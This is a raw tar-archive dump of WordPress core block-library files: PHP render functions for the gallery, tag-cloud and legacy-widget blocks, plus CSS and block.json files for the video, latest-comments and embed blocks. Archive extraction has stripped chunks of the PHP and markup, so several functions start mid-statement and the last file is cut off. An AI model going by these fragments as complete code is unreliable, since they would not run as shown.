?gallery.php000064400000014447151202367550006734 0ustar00 $inner_block ) { if ( 'core/image' === $inner_block['blockName'] ) { if ( ! isset( $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] ) && isset( $inner_block['attrs']['id'] ) ) { $parsed_block['innerBlocks'][ $key ]['attrs']['data-id'] = esc_attr( $inner_block['attrs']['id'] ); } } } } return $parsed_block; } add_filter( 'render_block_data', 'block_core_gallery_data_id_backcompatibility' ); /** * Renders the `core/gallery` block on the server. * * @since 6.0.0 * * @param array $attributes Attributes of the block being rendered. * @param string $content Content of the block being rendered. * @return string The content of the block being rendered. */ function block_core_gallery_render( $attributes, $content ) { // Adds a style tag for the --wp--style--unstable-gallery-gap var. // The Gallery block needs to recalculate Image block width based on // the current gap setting in order to maintain the number of flex columns // so a css var is added to allow this. $gap = $attributes['style']['spacing']['blockGap'] ?? null; // Skip if gap value contains unsupported characters. // Regex for CSS value borrowed from `safecss_filter_attr`, and used here // because we only want to match against the value, not the CSS attribute. if ( is_array( $gap ) ) { foreach ( $gap as $key => $value ) { // Make sure $value is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $value = is_string( $value ) ? $value : ''; $value = $value && preg_match( '%[\\\(&=}]|/\*%', $value ) ? null : $value; // Get spacing CSS variable from preset value if provided. if ( is_string( $value ) && str_contains( $value, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $value, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $value, $index_to_splice ) ); $value = "var(--wp--preset--spacing--$slug)"; } $gap[ $key ] = $value; } } else { // Make sure $gap is a string to avoid PHP 8.1 deprecation error in preg_match() when the value is null. $gap = is_string( $gap ) ? $gap : ''; $gap = $gap && preg_match( '%[\\\(&=}]|/\*%', $gap ) ? null : $gap; // Get spacing CSS variable from preset value if provided. if ( is_string( $gap ) && str_contains( $gap, 'var:preset|spacing|' ) ) { $index_to_splice = strrpos( $gap, '|' ) + 1; $slug = _wp_to_kebab_case( substr( $gap, $index_to_splice ) ); $gap = "var(--wp--preset--spacing--$slug)"; } } $unique_gallery_classname = wp_unique_id( 'wp-block-gallery-' ); $processed_content = new WP_HTML_Tag_Processor( $content ); $processed_content->next_tag(); $processed_content->add_class( $unique_gallery_classname ); // --gallery-block--gutter-size is deprecated. --wp--style--gallery-gap-default should be used by themes that want to set a default // gap on the gallery. $fallback_gap = 'var( --wp--style--gallery-gap-default, var( --gallery-block--gutter-size, var( --wp--style--block-gap, 0.5em ) ) )'; $gap_value = $gap ? $gap : $fallback_gap; $gap_column = $gap_value; if ( is_array( $gap_value ) ) { $gap_row = isset( $gap_value['top'] ) ? $gap_value['top'] : $fallback_gap; $gap_column = isset( $gap_value['left'] ) ? $gap_value['left'] : $fallback_gap; $gap_value = $gap_row === $gap_column ? $gap_row : $gap_row . ' ' . $gap_column; } // The unstable gallery gap calculation requires a real value (such as `0px`) and not `0`. if ( '0' === $gap_column ) { $gap_column = '0px'; } // Set the CSS variable to the column value, and the `gap` property to the combined gap value. $gallery_styles = array( array( 'selector' => ".wp-block-gallery.{$unique_gallery_classname}", 'declarations' => array( '--wp--style--unstable-gallery-gap' => $gap_column, 'gap' => $gap_value, ), ), ); wp_style_engine_get_stylesheet_from_css_rules( $gallery_styles, array( 'context' => 'block-supports', ) ); // The WP_HTML_Tag_Processor class calls get_updated_html() internally // when the instance is treated as a string, but here we explicitly // convert it to a string. $updated_content = $processed_content->get_updated_html(); /* * Randomize the order of image blocks. Ideally we should shuffle * the `$parsed_block['innerBlocks']` via the `render_block_data` hook. * However, this hook doesn't apply inner block updates when blocks are * nested. * @todo In the future, if this hook supports updating innerBlocks in * nested blocks, it should be refactored. * * @see: https://github.com/WordPress/gutenberg/pull/58733 */ if ( empty( $attributes['randomOrder'] ) ) { return $updated_content; } // This pattern matches figure elements with the `wp-block-image` class to // avoid the gallery's wrapping `figure` element and extract images only. $pattern = '/]*\bwp-block-image\b[^>]*>.*?<\/figure>/s'; // Find all Image blocks. preg_match_all( $pattern, $updated_content, $matches ); if ( ! $matches ) { return $updated_content; } $image_blocks = $matches[0]; // Randomize the order of Image blocks. shuffle( $image_blocks ); $i = 0; $content = preg_replace_callback( $pattern, static function () use ( $image_blocks, &$i ) { $new_image_block = $image_blocks[ $i ]; ++$i; return $new_image_block; }, $updated_content ); return $content; } /** * Registers the `core/gallery` block on server. * * @since 5.9.0 */ function register_block_core_gallery() { register_block_type_from_metadata( __DIR__ . '/gallery', array( 'render_callback' => 'block_core_gallery_render', ) ); } add_action( 'init', 'register_block_core_gallery' ); tag-cloud.php000064400000003066151202367550007147 0ustar00[a-z%]+)$/i', $smallest_font_size, $m ) ? $m['unit'] : 'pt' ); $args = array( 'echo' => false, 'unit' => $unit, 'taxonomy' => $attributes['taxonomy'], 'show_count' => $attributes['showTagCounts'], 'number' => $attributes['numberOfTags'], 'smallest' => floatVal( $attributes['smallestFontSize'] ), 'largest' => floatVal( $attributes['largestFontSize'] ), ); $tag_cloud = wp_tag_cloud( $args ); if ( empty( $tag_cloud ) ) { // Display placeholder content when there are no tags only in editor. if ( wp_is_serving_rest_request() ) { $tag_cloud = __( 'There’s no content to show here yet.' ); } else { return ''; } } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '

%2$s

', $wrapper_attributes, $tag_cloud ); } /** * Registers the `core/tag-cloud` block on server. * * @since 5.2.0 */ function register_block_core_tag_cloud() { register_block_type_from_metadata( __DIR__ . '/tag-cloud', array( 'render_callback' => 'render_block_core_tag_cloud', ) ); } add_action( 'init', 'register_block_core_tag_cloud' ); legacy-widget.php000064400000007653151202367550010023 0ustar00get_widget_key( $id_base ); $widget_object = $wp_widget_factory->get_widget_object( $id_base ); if ( ! $widget_key || ! $widget_object ) { return ''; } if ( isset( $attributes['instance']['encoded'], $attributes['instance']['hash'] ) ) { $serialized_instance = base64_decode( $attributes['instance']['encoded'] ); if ( ! hash_equals( wp_hash( $serialized_instance ), (string) $attributes['instance']['hash'] ) ) { return ''; } $instance = unserialize( $serialized_instance ); } else { $instance = array(); } $args = array( 'widget_id' => $widget_object->id, 'widget_name' => $widget_object->name, ); ob_start(); the_widget( $widget_key, $instance, $args ); return ob_get_clean(); } /** * Registers the 'core/legacy-widget' block. * * @since 5.8.0 */ function register_block_core_legacy_widget() { register_block_type_from_metadata( __DIR__ . '/legacy-widget', array( 'render_callback' => 'render_block_core_legacy_widget', ) ); } add_action( 'init', 'register_block_core_legacy_widget' ); /** * Intercepts any request with legacy-widget-preview in the query param and, if * set, renders a page containing a preview of the requested Legacy Widget * block. * * @since 5.8.0 */ function handle_legacy_widget_preview_iframe() { if ( empty( $_GET['legacy-widget-preview'] ) ) { return; } if ( ! current_user_can( 'edit_theme_options' ) ) { return; } define( 'IFRAME_REQUEST', true ); ?> > >
get_registered( 'core/legacy-widget' ); echo $block->render( $_GET['legacy-widget-preview'] ); ?>
.wp-block-video{ text-align:center; } .wp-block-video{ position:relative; } .wp-block-video.is-transient video{ opacity:.3; } .wp-block-video .components-spinner{ left:50%; margin-left:-9px; margin-top:-9px; position:absolute; top:50%; } .block-library-video-tracks-editor{ z-index:159990; } .block-library-video-tracks-editor__track-list-track{ padding-left:12px; } .block-library-video-tracks-editor__single-track-editor-kind-select{ max-width:240px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{ color:#757575; display:block; font-size:11px; font-weight:500; margin-top:4px; text-transform:uppercase; } .block-library-video-tracks-editor>.components-popover__content{ width:360px; } .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{ padding:0; } .block-library-video-tracks-editor__tracks-informative-message{ padding:8px; } .block-library-video-tracks-editor__tracks-informative-message-description{ margin-bottom:0; }video/style.css000064400000000521151202367550007530 0ustar00.wp-block-video{ box-sizing:border-box; } .wp-block-video video{ height:auto; vertical-align:middle; width:100%; } @supports (position:sticky){ .wp-block-video [poster]{ object-fit:cover; } } .wp-block-video.aligncenter{ text-align:center; } .wp-block-video :where(figcaption){ margin-bottom:1em; margin-top:.5em; }video/style-rtl.min.css000064400000000443151202367550011114 0ustar00.wp-block-video{box-sizing:border-box}.wp-block-video video{height:auto;vertical-align:middle;width:100%}@supports (position:sticky){.wp-block-video [poster]{object-fit:cover}}.wp-block-video.aligncenter{text-align:center}.wp-block-video :where(figcaption){margin-bottom:1em;margin-top:.5em}video/editor.min.css000064400000002125151202367550010442 0ustar00.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{left:50%;margin-left:-9px;margin-top:-9px;position:absolute;top:50%}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-left:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}video/editor-rtl.min.css000064400000002130151202367550011235 0ustar00.wp-block[data-align=center]>.wp-block-video{text-align:center}.wp-block-video{position:relative}.wp-block-video.is-transient video{opacity:.3}.wp-block-video .components-spinner{margin-right:-9px;margin-top:-9px;position:absolute;right:50%;top:50%}.block-library-video-tracks-editor{z-index:159990}.block-library-video-tracks-editor__track-list-track{padding-right:12px}.block-library-video-tracks-editor__single-track-editor-kind-select{max-width:240px}.block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{color:#757575;display:block;font-size:11px;font-weight:500;margin-top:4px;text-transform:uppercase}.block-library-video-tracks-editor>.components-popover__content{width:360px}.block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{padding:0}.block-library-video-tracks-editor__tracks-informative-message{padding:8px}.block-library-video-tracks-editor__tracks-informative-message-description{margin-bottom:0}video/block.json000064400000003654151202367550007655 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/video", "title": "Video", "category": "media", "description": "Embed a video from your media library or upload a new one.", "keywords": [ "movie" ], "textdomain": "default", "attributes": { "autoplay": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "autoplay" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "controls": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "controls", "default": true }, "id": { "type": "number", "role": "content" }, "loop": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "loop" }, "muted": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "muted" }, "poster": { "type": "string", "source": "attribute", "selector": "video", "attribute": "poster" }, "preload": { "type": "string", "source": "attribute", "selector": "video", "attribute": "preload", "default": "metadata" }, "blob": { "type": "string", "role": "local" }, "src": { "type": "string", "source": "attribute", "selector": "video", "attribute": "src", "role": "content" }, "playsInline": { "type": "boolean", "source": "attribute", "selector": "video", "attribute": "playsinline" }, "tracks": { "role": "content", "type": "array", "items": { "type": "object" }, "default": [] } }, "supports": { "anchor": true, "align": true, "spacing": { "margin": true, "padding": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-video-editor", "style": "wp-block-video" } video/editor-rtl.css000064400000002302151202367550010454 0ustar00.wp-block[data-align=center]>.wp-block-video{ text-align:center; } .wp-block-video{ position:relative; } .wp-block-video.is-transient video{ opacity:.3; } .wp-block-video .components-spinner{ margin-right:-9px; margin-top:-9px; position:absolute; right:50%; top:50%; } .block-library-video-tracks-editor{ z-index:159990; } .block-library-video-tracks-editor__track-list-track{ padding-right:12px; } .block-library-video-tracks-editor__single-track-editor-kind-select{ max-width:240px; } .block-library-video-tracks-editor__single-track-editor-edit-track-label,.block-library-video-tracks-editor__tracks-informative-message-title{ color:#757575; display:block; font-size:11px; font-weight:500; margin-top:4px; text-transform:uppercase; } .block-library-video-tracks-editor>.components-popover__content{ width:360px; } .block-library-video-tracks-editor__add-tracks-container .components-menu-group__label,.block-library-video-tracks-editor__track-list .components-menu-group__label{ padding:0; } .block-library-video-tracks-editor__tracks-informative-message{ padding:8px; } .block-library-video-tracks-editor__tracks-informative-message-description{ margin-bottom:0; }video/theme-rtl.min.css000064400000000260151202367550011053 0ustar00.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}video/theme.min.css000064400000000260151202367550010254 0ustar00.wp-block-video :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-video :where(figcaption){color:#ffffffa6}.wp-block-video{margin:0 0 1em}latest-comments/style.min.css000064400000002426151202367550012331 0ustar00ol.wp-block-latest-comments{box-sizing:border-box;margin-left:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-left:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-left:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:left;height:2.5em;margin-right:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}latest-comments/style-rtl.css000064400000002607151202367550012347 0ustar00ol.wp-block-latest-comments{ box-sizing:border-box; margin-right:0; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){ line-height:1.1; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){ line-height:1.8; } .has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){ line-height:1.5; } .wp-block-latest-comments .wp-block-latest-comments{ padding-right:0; } .wp-block-latest-comments__comment{ list-style:none; margin-bottom:1em; } .has-avatars .wp-block-latest-comments__comment{ list-style:none; min-height:2.25em; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{ margin-right:3.25em; } .wp-block-latest-comments__comment-excerpt p{ font-size:.875em; margin:.36em 0 1.4em; } .wp-block-latest-comments__comment-date{ display:block; font-size:.75em; } .wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{ border-radius:1.5em; display:block; float:right; height:2.5em; margin-left:.75em; width:2.5em; } .wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{ font-size:inherit; }latest-comments/style.css000064400000002604151202367550011545 0ustar00ol.wp-block-latest-comments{ box-sizing:border-box; margin-left:0; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){ line-height:1.1; } :where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){ line-height:1.8; } .has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){ line-height:1.5; } .wp-block-latest-comments .wp-block-latest-comments{ padding-left:0; } .wp-block-latest-comments__comment{ list-style:none; margin-bottom:1em; } .has-avatars .wp-block-latest-comments__comment{ list-style:none; min-height:2.25em; } .has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{ margin-left:3.25em; } .wp-block-latest-comments__comment-excerpt p{ font-size:.875em; margin:.36em 0 1.4em; } .wp-block-latest-comments__comment-date{ display:block; font-size:.75em; } .wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{ border-radius:1.5em; display:block; float:left; height:2.5em; margin-right:.75em; width:2.5em; } .wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{ font-size:inherit; }latest-comments/style-rtl.min.css000064400000002431151202367550013124 0ustar00ol.wp-block-latest-comments{box-sizing:border-box;margin-right:0}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment)){line-height:1.1}:where(.wp-block-latest-comments:not([style*=line-height] .wp-block-latest-comments__comment-excerpt p)){line-height:1.8}.has-dates :where(.wp-block-latest-comments:not([style*=line-height])),.has-excerpts :where(.wp-block-latest-comments:not([style*=line-height])){line-height:1.5}.wp-block-latest-comments .wp-block-latest-comments{padding-right:0}.wp-block-latest-comments__comment{list-style:none;margin-bottom:1em}.has-avatars .wp-block-latest-comments__comment{list-style:none;min-height:2.25em}.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-excerpt,.has-avatars .wp-block-latest-comments__comment .wp-block-latest-comments__comment-meta{margin-right:3.25em}.wp-block-latest-comments__comment-excerpt p{font-size:.875em;margin:.36em 0 1.4em}.wp-block-latest-comments__comment-date{display:block;font-size:.75em}.wp-block-latest-comments .avatar,.wp-block-latest-comments__comment-avatar{border-radius:1.5em;display:block;float:right;height:2.5em;margin-left:.75em;width:2.5em}.wp-block-latest-comments[class*=-font-size] a,.wp-block-latest-comments[style*=font-size] a{font-size:inherit}latest-comments/block.json000064400000002546151202367550011665 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/latest-comments", "title": "Latest Comments", "category": "widgets", "description": "Display a list of your most recent comments.", "keywords": [ "recent comments" ], "textdomain": "default", "attributes": { "commentsToShow": { "type": "number", "default": 5, "minimum": 1, "maximum": 100 }, "displayAvatar": { "type": "boolean", "default": true }, "displayDate": { "type": "boolean", "default": true }, "displayExcerpt": { "type": "boolean", "default": true } }, "supports": { "align": true, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "html": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-latest-comments-editor", "style": "wp-block-latest-comments" } embed/style.min.css000064400000003074151202367550010266 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}embed/theme-rtl.css000064400000000310151202367550010233 0ustar00.wp-block-embed :where(figcaption){ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-embed :where(figcaption){ color:#ffffffa6; } .wp-block-embed{ margin:0 0 1em; }embed/theme.css000064400000000310151202367550007434 0ustar00.wp-block-embed :where(figcaption){ color:#555; font-size:13px; text-align:center; } .is-dark-theme .wp-block-embed :where(figcaption){ color:#ffffffa6; } .wp-block-embed{ margin:0 0 1em; }embed/style-rtl.css000064400000003301151202367550010274 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{ max-width:360px; width:100%; } .wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{ min-width:280px; } .wp-block-cover .wp-block-embed{ min-height:240px; min-width:320px; } .wp-block-embed{ overflow-wrap:break-word; } .wp-block-embed :where(figcaption){ margin-bottom:1em; margin-top:.5em; } .wp-block-embed iframe{ max-width:100%; } .wp-block-embed__wrapper{ position:relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{ content:""; display:block; padding-top:50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe{ bottom:0; height:100%; left:0; position:absolute; right:0; top:0; width:100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{ padding-top:42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{ padding-top:50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{ padding-top:56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{ padding-top:75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{ padding-top:100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{ padding-top:177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{ padding-top:200%; }embed/editor.css000064400000001420151202367550007623 0ustar00.wp-block-embed{ clear:both; margin-left:0; margin-right:0; } .wp-block-embed.is-loading{ display:flex; justify-content:center; } .wp-block-embed .wp-block-embed__placeholder-input{ flex:1 1 auto; } .wp-block-embed .components-placeholder__error{ word-break:break-word; } .wp-block-post-content .wp-block-embed__learn-more a{ color:var(--wp-admin-theme-color); } .block-library-embed__interactive-overlay{ bottom:0; left:0; opacity:0; position:absolute; right:0; top:0; } .wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{ max-width:360px; width:100%; } .wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{ min-width:280px; }embed/style.css000064400000003301151202367550007475 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{ max-width:360px; width:100%; } .wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{ min-width:280px; } .wp-block-cover .wp-block-embed{ min-height:240px; min-width:320px; } .wp-block-embed{ overflow-wrap:break-word; } .wp-block-embed :where(figcaption){ margin-bottom:1em; margin-top:.5em; } .wp-block-embed iframe{ max-width:100%; } .wp-block-embed__wrapper{ position:relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{ content:""; display:block; padding-top:50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe{ bottom:0; height:100%; left:0; position:absolute; right:0; top:0; width:100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{ padding-top:42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{ padding-top:50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{ padding-top:56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{ padding-top:75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{ padding-top:100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{ padding-top:177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{ padding-top:200%; }embed/style-rtl.min.css000064400000003074151202367550011065 0ustar00.wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%}embed/editor.min.css000064400000001303151202367550010405 0ustar00.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}embed/editor-rtl.min.css000064400000001303151202367550011204 0ustar00.wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px}embed/block.json000064400000002014151202367550007610 0ustar00{ "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/embed", "title": "Embed", "category": "embed", "description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.", "textdomain": "default", "attributes": { "url": { "type": "string", "role": "content" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "type": { "type": "string", "role": "content" }, "providerNameSlug": { "type": "string", "role": "content" }, "allowResponsive": { "type": "boolean", "default": true }, "responsive": { "type": "boolean", "default": false, "role": "content" }, "previewable": { "type": "boolean", "default": true, "role": "content" } }, "supports": { "align": true, "spacing": { "margin": true }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-embed-editor", "style": "wp-block-embed" } embed/editor-rtl.css000064400000001420151202367550010422 0ustar00.wp-block-embed{ clear:both; margin-left:0; margin-right:0; } .wp-block-embed.is-loading{ display:flex; justify-content:center; } .wp-block-embed .wp-block-embed__placeholder-input{ flex:1 1 auto; } .wp-block-embed .components-placeholder__error{ word-break:break-word; } .wp-block-post-content .wp-block-embed__learn-more a{ color:var(--wp-admin-theme-color); } .block-library-embed__interactive-overlay{ bottom:0; left:0; opacity:0; 